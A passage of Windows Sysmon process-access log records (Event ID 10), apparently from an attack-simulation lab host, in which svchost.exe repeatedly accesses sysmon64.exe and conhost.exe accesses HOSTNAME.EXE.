11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5263,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5264,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5265,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5266,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5267,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5268,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5269,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5270,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-416F-5F2D-0000-001085400800}\r\nTargetProcessId: 2380\r\nTargetImage: C:\\Windows\\system32\\HOSTNAME.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-416F-5F2D-0000-001085400800}","TargetProcessId":"2380","TargetImage":"C:\\Windows\\system32\\HOSTNAME.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 